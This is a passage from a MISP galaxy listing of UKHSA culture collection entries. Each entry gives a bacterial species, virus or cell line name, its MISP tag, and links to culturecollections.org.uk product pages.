The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium indoltheticum"*

Table 28105. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-indoltheticum
https://www.culturecollections.org.uk/nop/product/chryseobacterium-indoltheticum-3

MTSV1-7 CE1

The tag is: *misp-galaxy:ukhsa-culture-collections="MTSV1-7 CE1"*

Table 28106. Table References

Links
https://www.culturecollections.org.uk/nop/product/mtsv1-7-ce1

Streptococcus sanguinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus sanguinis"*

Table 28107. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-sanguinis
https://www.culturecollections.org.uk/nop/product/streptococcus-sanguinis-7
https://www.culturecollections.org.uk/nop/product/streptococcus-sanguinis-3
https://www.culturecollections.org.uk/nop/product/streptococcus-sanguinis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-sanguinis-6
https://www.culturecollections.org.uk/nop/product/streptococcus-sanguinis-5
https://www.culturecollections.org.uk/nop/product/streptococcus-sanguinis-4

Elizabethkingia meningoseptica

The tag is: *misp-galaxy:ukhsa-culture-collections="Elizabethkingia meningoseptica"*

Table 28108. Table References

Links
https://www.culturecollections.org.uk/nop/product/elizabethkingia-meningoseptica-5
https://www.culturecollections.org.uk/nop/product/elizabethkingia-meningoseptica-4
https://www.culturecollections.org.uk/nop/product/elizabethkingia-meningoseptica-2
https://www.culturecollections.org.uk/nop/product/elizabethkingia-meningoseptica
https://www.culturecollections.org.uk/nop/product/elizabethkingia-meningoseptica-3

Zymomonas mobilis subsp. mobilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Zymomonas mobilis subsp. mobilis"*

Table 28109. Table References

Links
https://www.culturecollections.org.uk/nop/product/zymomonas-mobilis-subsp-mobilis

Prevotella timonensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella timonensis"*

Table 28110. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-timonensis

Haemophilus parasuis

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus parasuis"*

Table 28111. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-parasuis-2
https://www.culturecollections.org.uk/nop/product/haemophilus-parasuis
https://www.culturecollections.org.uk/nop/product/haemophilus-parasuis-3
https://www.culturecollections.org.uk/nop/product/haemophilus-parasuis-4

Treponema ruminis

The tag is: *misp-galaxy:ukhsa-culture-collections="Treponema ruminis"*

Table 28112. Table References

Links
https://www.culturecollections.org.uk/nop/product/treponema-ruminis

Rhodococcus equi

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus equi"*

Table 28113. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-equi-7
https://www.culturecollections.org.uk/nop/product/rhodococcus-equi-2
https://www.culturecollections.org.uk/nop/product/rhodococcus-equi-3
https://www.culturecollections.org.uk/nop/product/rhodococcus-equi-4
https://www.culturecollections.org.uk/nop/product/rhodococcus-equi-6
https://www.culturecollections.org.uk/nop/product/rhodococcus-equi

Raoultella ornithinolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Raoultella ornithinolytica"*

Table 28114. Table References

Links
https://www.culturecollections.org.uk/nop/product/raoultella-ornithinolytica-7
https://www.culturecollections.org.uk/nop/product/raoultella-ornithinolytica-6

https://www.culturecollections.org.uk/nop/product/raoultella-ornithinolytica-5
https://www.culturecollections.org.uk/nop/product/raoultella-ornithinolytica-4
https://www.culturecollections.org.uk/nop/product/raoultella-ornithinolytica-2
https://www.culturecollections.org.uk/nop/product/raoultella-ornithinolytica-3
https://www.culturecollections.org.uk/nop/product/raoultella-ornithinolytica

Pseudomonas mendocina

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas mendocina"*

Table 28115. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-mendocina
https://www.culturecollections.org.uk/nop/product/pseudomonas-mendocina-3
https://www.culturecollections.org.uk/nop/product/pseudomonas-mendocina-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-mendocina-6
https://www.culturecollections.org.uk/nop/product/pseudomonas-mendocina-5
https://www.culturecollections.org.uk/nop/product/pseudomonas-mendocina-4

Pseudomonas guariconensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas guariconensis"*

Table 28116. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-guariconensis

Pseudomonas fragi

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas fragi"*

Table 28117. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-fragi
https://www.culturecollections.org.uk/nop/product/pseudomonas-fragi-2

Proteus vulgaris

The tag is: *misp-galaxy:ukhsa-culture-collections="Proteus vulgaris"*

Table 28118. Table References

Links
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-14
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-15
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-13
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-2
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-9
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-10
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-11
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-8
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-5
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-6
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-7
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-12
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-3
https://www.culturecollections.org.uk/nop/product/proteus-vulgaris-4

Porphyromonas lovenana

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas lovenana"*

Table 28119. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-lovenana

Nocardia farcinica

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia farcinica"*

Table 28120. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-farcinica-2
https://www.culturecollections.org.uk/nop/product/nocardia-farcinica
https://www.culturecollections.org.uk/nop/product/nocardia-farcinica-3

Nocardia cyriacigeorgica

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia cyriacigeorgica"*

Table 28121. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-cyriacigeorgica

Mycoplasma leachii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma leachii"*

Table 28122. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-leachii

Mycoplasma amphoriforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma amphoriforme"*

Table 28123. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-amphoriforme

Mycobacterium xenopi

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium xenopi"*

Table 28124. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-xenopi-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-xenopi

Mycobacterium szulgai

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium szulgai"*

Table 28125. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-szulgai-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-szulgai-3

https://www.culturecollections.org.uk/nop/product/mycobacterium-szulgai
https://www.culturecollections.org.uk/nop/product/mycobacterium-szulgai-2

Mycobacterium smegmatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium smegmatis"*

Table 28126. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-16
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-15
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-14
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-13
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-10
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-11
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-8
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-12
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-6
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-9
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-5
https://www.culturecollections.org.uk/nop/product/mycobacterium-smegmatis-7

Mycobacterium simiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium simiae"*

Table 28127. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-simiae

Mycobacterium scrofulaceum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium scrofulaceum"*

Table 28128. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-scrofulaceum-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-scrofulaceum

Mycobacterium peregrinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium peregrinum"*

Table 28129. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-peregrinum-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-peregrinum

Mycobacterium mucogenicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium mucogenicum"*

Table 28130. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-mucogenicum

Mycobacterium kansasii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium kansasii"*

Table 28131. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-kansasii-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-kansasii

Mycobacterium intracellulare

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium intracellulare"*

Table 28132. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-intracellulare-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-intracellulare
https://www.culturecollections.org.uk/nop/product/mycobacterium-intracellulare-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-intracellulare-3

Mycobacterium heraklionense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium heraklionense"*

Table 28133. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-heraklionense

Mycobacterium heckeshorense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium heckeshorense"*

Table 28134. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-heckeshorense

Mycobacterium fortuitum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium fortuitum"*

Table 28135. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-10
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-7
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-8
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-6
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-5
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-9
https://www.culturecollections.org.uk/nop/product/mycobacterium-fortuitum-4

Burkholderia thailandensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia thailandensis"*

Table 28136. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-thailandensis

T47D-182R2

The tag is: *misp-galaxy:ukhsa-culture-collections="T47D-182R2"*

Table 28137. Table References

Links
https://www.culturecollections.org.uk/nop/product/t47d-182r2

16-23

The tag is: *misp-galaxy:ukhsa-culture-collections="16-23"*

Table 28138. Table References

Links
https://www.culturecollections.org.uk/nop/product/16-23

SCC-9

The tag is: *misp-galaxy:ukhsa-culture-collections="SCC-9"*

Table 28139. Table References

Links
https://www.culturecollections.org.uk/nop/product/scc-9

MDCK I

The tag is: *misp-galaxy:ukhsa-culture-collections="MDCK I"*

Table 28140. Table References

Links
https://www.culturecollections.org.uk/nop/product/mdck-i

Streptococcus anginosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus anginosus"*

Table 28141. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-anginosus-6
https://www.culturecollections.org.uk/nop/product/streptococcus-anginosus-5
https://www.culturecollections.org.uk/nop/product/streptococcus-anginosus-4
https://www.culturecollections.org.uk/nop/product/streptococcus-anginosus-7
https://www.culturecollections.org.uk/nop/product/streptococcus-anginosus
https://www.culturecollections.org.uk/nop/product/streptococcus-anginosus-3

https://www.culturecollections.org.uk/nop/product/streptococcus-anginosus-2

Streptococcus constellatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus constellatus"*

Table 28142. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-constellatus
https://www.culturecollections.org.uk/nop/product/streptococcus-constellatus-2

OX-47

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-47"*

Table 28143. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-47-2

Morganella morganii

The tag is: *misp-galaxy:ukhsa-culture-collections="Morganella morganii"*

Table 28144. Table References

Links
https://www.culturecollections.org.uk/nop/product/morganella-morganii-29
https://www.culturecollections.org.uk/nop/product/morganella-morganii-30
https://www.culturecollections.org.uk/nop/product/morganella-morganii-31
https://www.culturecollections.org.uk/nop/product/morganella-morganii-32
https://www.culturecollections.org.uk/nop/product/morganella-morganii-11
https://www.culturecollections.org.uk/nop/product/morganella-morganii-2
https://www.culturecollections.org.uk/nop/product/morganella-morganii
https://www.culturecollections.org.uk/nop/product/morganella-morganii-7
https://www.culturecollections.org.uk/nop/product/morganella-morganii-16
https://www.culturecollections.org.uk/nop/product/morganella-morganii-26
https://www.culturecollections.org.uk/nop/product/morganella-morganii-20
https://www.culturecollections.org.uk/nop/product/morganella-morganii-28
https://www.culturecollections.org.uk/nop/product/morganella-morganii-8
https://www.culturecollections.org.uk/nop/product/morganella-morganii-9

https://www.culturecollections.org.uk/nop/product/morganella-morganii-3
https://www.culturecollections.org.uk/nop/product/morganella-morganii-12
https://www.culturecollections.org.uk/nop/product/morganella-morganii-13
https://www.culturecollections.org.uk/nop/product/morganella-morganii-15
https://www.culturecollections.org.uk/nop/product/morganella-morganii-19
https://www.culturecollections.org.uk/nop/product/morganella-morganii-21
https://www.culturecollections.org.uk/nop/product/morganella-morganii-25
https://www.culturecollections.org.uk/nop/product/morganella-morganii-6
https://www.culturecollections.org.uk/nop/product/morganella-morganii-10
https://www.culturecollections.org.uk/nop/product/morganella-morganii-14
https://www.culturecollections.org.uk/nop/product/morganella-morganii-18
https://www.culturecollections.org.uk/nop/product/morganella-morganii-4
https://www.culturecollections.org.uk/nop/product/morganella-morganii-5
https://www.culturecollections.org.uk/nop/product/morganella-morganii-17
https://www.culturecollections.org.uk/nop/product/morganella-morganii-22
https://www.culturecollections.org.uk/nop/product/morganella-morganii-23
https://www.culturecollections.org.uk/nop/product/morganella-morganii-24
https://www.culturecollections.org.uk/nop/product/morganella-morganii-27

Mycobacterium abscessus

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium abscessus"*

Table 28145. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-abscessus-4
https://www.culturecollections.org.uk/nop/product/mycobacterium-abscessus-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-abscessus-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-abscessus

Mycobacterium africanum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium africanum"*

Table 28146. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-africanum

Mycobacterium avium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium avium"*

Table 28147. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-8
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-5
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-3
https://www.culturecollections.org.uk/nop/product/mycobacterium-avium-4

Mycobacterium bovis subsp. caprae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium bovis subsp. caprae"*

Table 28148. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-subsp-caprae

Mycobacterium bovis var. BCG

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium bovis var. BCG"*

Table 28149. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-var-bcg-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-bovis-var-bcg

Legionella feeleii

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella feeleii"*

Table 28150. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-feeleii-3
https://www.culturecollections.org.uk/nop/product/legionella-feeleii-2
https://www.culturecollections.org.uk/nop/product/legionella-feeleii

Listeria booriae

The tag is: *misp-galaxy:ukhsa-culture-collections="Listeria booriae"*

Table 28151. Table References

Links
https://www.culturecollections.org.uk/nop/product/listeria-booriae

Legionella sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella sp."*

Table 28152. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-sp-2

Enterobacter asburiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter asburiae"*

Table 28153. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-asburiae-2
https://www.culturecollections.org.uk/nop/product/enterobacter-asburiae

Enterobacter hormaechei

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter hormaechei"*

Table 28154. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-hormaechei

Cedecea sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Cedecea sp."*

Table 28155. Table References

Links
https://www.culturecollections.org.uk/nop/product/cedecea-sp-2

Cedecea neteri

The tag is: *misp-galaxy:ukhsa-culture-collections="Cedecea neteri"*

Table 28156. Table References

Links
https://www.culturecollections.org.uk/nop/product/cedecea-neteri-4
https://www.culturecollections.org.uk/nop/product/cedecea-neteri

Bibersteinia trehalosi

The tag is: *misp-galaxy:ukhsa-culture-collections="Bibersteinia trehalosi"*

Table 28157. Table References

Links
https://www.culturecollections.org.uk/nop/product/bibersteinia-trehalosi-2
https://www.culturecollections.org.uk/nop/product/bibersteinia-trehalosi

Avibacterium avium

The tag is: *misp-galaxy:ukhsa-culture-collections="Avibacterium avium"*

Table 28158. Table References

Links
https://www.culturecollections.org.uk/nop/product/avibacterium-avium

Aggregatibacter actinomycetemcomitans

The tag is: *misp-galaxy:ukhsa-culture-collections="Aggregatibacter actinomycetemcomitans"*

Table 28159. Table References

Links
https://www.culturecollections.org.uk/nop/product/aggregatibacter-actinomycetemcomitans
https://www.culturecollections.org.uk/nop/product/aggregatibacter-actinomycetemcomitans-6
https://www.culturecollections.org.uk/nop/product/aggregatibacter-actinomycetemcomitans-5
https://www.culturecollections.org.uk/nop/product/aggregatibacter-actinomycetemcomitans-3
https://www.culturecollections.org.uk/nop/product/aggregatibacter-actinomycetemcomitans-4
https://www.culturecollections.org.uk/nop/product/aggregatibacter-actinomycetemcomitans-2

Aeromonas caviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas caviae"*

Table 28160. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-caviae
https://www.culturecollections.org.uk/nop/product/aeromonas-caviae-3
https://www.culturecollections.org.uk/nop/product/aeromonas-caviae-2

Streptococcus oralis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus oralis"*

Table 28161. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-oralis-2
https://www.culturecollections.org.uk/nop/product/streptococcus-oralis-3
https://www.culturecollections.org.uk/nop/product/streptococcus-oralis

Klebsiella pneumoniae sensu stricto

The tag is: *misp-galaxy:ukhsa-culture-collections="Klebsiella pneumoniae sensu stricto"*

Table 28162. Table References

Links
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-13
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-12
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-10
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-18
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-11
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-4
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-6
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-9
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-5
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-17
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-16

https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-15
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-14
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-8
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-7
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-2
https://www.culturecollections.org.uk/nop/product/klebsiella-pneumoniae-sensu-stricto-3

Mycoplasma hyopneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma hyopneumoniae"*

Table 28163. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-hyopneumoniae

Corynebacterium ulcerans

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium ulcerans"*

Table 28164. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-4
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-10
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-8
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-12
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-11
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-9
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-7
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-6
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-5
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-ulcerans

Salmonella sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella sp."*

Table 28165. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-sp-13
https://www.culturecollections.org.uk/nop/product/salmonella-sp-9
https://www.culturecollections.org.uk/nop/product/salmonella-sp-3
https://www.culturecollections.org.uk/nop/product/salmonella-sp-15
https://www.culturecollections.org.uk/nop/product/salmonella-sp-10
https://www.culturecollections.org.uk/nop/product/salmonella-sp-14
https://www.culturecollections.org.uk/nop/product/salmonella-sp
https://www.culturecollections.org.uk/nop/product/salmonella-sp-2
https://www.culturecollections.org.uk/nop/product/salmonella-sp-6

Pandoraea pnomenusa

The tag is: *misp-galaxy:ukhsa-culture-collections="Pandoraea pnomenusa"*

Table 28166. Table References

Links
https://www.culturecollections.org.uk/nop/product/pandoraea-pnomenusa

Oligella urethralis

The tag is: *misp-galaxy:ukhsa-culture-collections="Oligella urethralis"*

Table 28167. Table References

Links
https://www.culturecollections.org.uk/nop/product/oligella-urethralis-4
https://www.culturecollections.org.uk/nop/product/oligella-urethralis-5
https://www.culturecollections.org.uk/nop/product/oligella-urethralis-3
https://www.culturecollections.org.uk/nop/product/oligella-urethralis
https://www.culturecollections.org.uk/nop/product/oligella-urethralis-2

Enterococcus raffinosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus raffinosus"*

Table 28168. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-raffinosus

V79-HG04

The tag is: *misp-galaxy:ukhsa-culture-collections="V79-HG04"*

Table 28169. Table References

Links
https://www.culturecollections.org.uk/nop/product/v79-hg04

BHL-89

The tag is: *misp-galaxy:ukhsa-culture-collections="BHL-89"*

Table 28170. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhl-89

Human herpesvirus 4

The tag is: *misp-galaxy:ukhsa-culture-collections="Human herpesvirus 4"*

Table 28171. Table References

Links
https://www.culturecollections.org.uk/nop/product/human-herpesvirus-4

Moraxella lacunata

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella lacunata"*

Table 28172. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-lacunata-2
https://www.culturecollections.org.uk/nop/product/moraxella-lacunata-6
https://www.culturecollections.org.uk/nop/product/moraxella-lacunata-5
https://www.culturecollections.org.uk/nop/product/moraxella-lacunata-4
https://www.culturecollections.org.uk/nop/product/moraxella-lacunata
https://www.culturecollections.org.uk/nop/product/moraxella-lacunata-3

Capnocytophaga genospecies AHN8471

The tag is: *misp-galaxy:ukhsa-culture-collections="Capnocytophaga genospecies AHN8471"*

Table 28173. Table References

Links
https://www.culturecollections.org.uk/nop/product/capnocytophaga-genospecies-ahn8471

Shigella sonnei

The tag is: *misp-galaxy:ukhsa-culture-collections="Shigella sonnei"*

Table 28174. Table References

Links
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-15
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-14
https://www.culturecollections.org.uk/nop/product/shigella-sonnei
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-10
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-11
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-4
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-3
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-6
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-8
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-5
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-7
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-9
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-12
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-13
https://www.culturecollections.org.uk/nop/product/shigella-sonnei-2

Salmonella enterica subsp. enterica serotype Paratyphi C

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Paratyphi C"*

Table 28175. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-c-7
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-c-2

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-c
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-c-6
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-c-5
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-c-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-paratyphi-c-3

Salmonella enterica subsp. enterica serotype Bovis-Morbificans

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bovis-Morbificans"*

Table 28176. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bovis-morbificans-4
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bovis-morbificans-3
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bovis-morbificans-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bovis-morbificans

NIH-3T3D4

The tag is: *misp-galaxy:ukhsa-culture-collections="NIH-3T3D4"*

Table 28177. Table References

Links
https://www.culturecollections.org.uk/nop/product/nih-3t3d4

MC3T3-E1

The tag is: *misp-galaxy:ukhsa-culture-collections="MC3T3-E1"*

Table 28178. Table References

Links
https://www.culturecollections.org.uk/nop/product/mc3t3-e1

3T6 Swiss Albino

The tag is: *misp-galaxy:ukhsa-culture-collections="3T6 Swiss Albino"*

Table 28179. Table References

Links
https://www.culturecollections.org.uk/nop/product/3t6-swiss-albino

3T3-MSV

The tag is: *misp-galaxy:ukhsa-culture-collections="3T3-MSV"*

Table 28180. Table References

Links
https://www.culturecollections.org.uk/nop/product/3t3-msv

3T3 Swiss Albino

The tag is: *misp-galaxy:ukhsa-culture-collections="3T3 Swiss Albino"*

Table 28181. Table References

Links
https://www.culturecollections.org.uk/nop/product/3t3-swiss-albino

NIH-3T3 4-2

The tag is: *misp-galaxy:ukhsa-culture-collections="NIH-3T3 4-2"*

Table 28182. Table References

Links
https://www.culturecollections.org.uk/nop/product/nih-3t3-4-2

3T3-F442A

The tag is: *misp-galaxy:ukhsa-culture-collections="3T3-F442A"*

Table 28183. Table References

Links
https://www.culturecollections.org.uk/nop/product/3t3-f442a

3T3(+3)

The tag is: *misp-galaxy:ukhsa-culture-collections="3T3(+3)"*

Table 28184. Table References

Links
https://www.culturecollections.org.uk/nop/product/3t33

3T3 clone A31

The tag is: *misp-galaxy:ukhsa-culture-collections="3T3 clone A31"*

Table 28185. Table References

Links
https://www.culturecollections.org.uk/nop/product/3t3-clone-a31

Arcobacter skirrowii

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcobacter skirrowii"*

Table 28186. Table References

Links
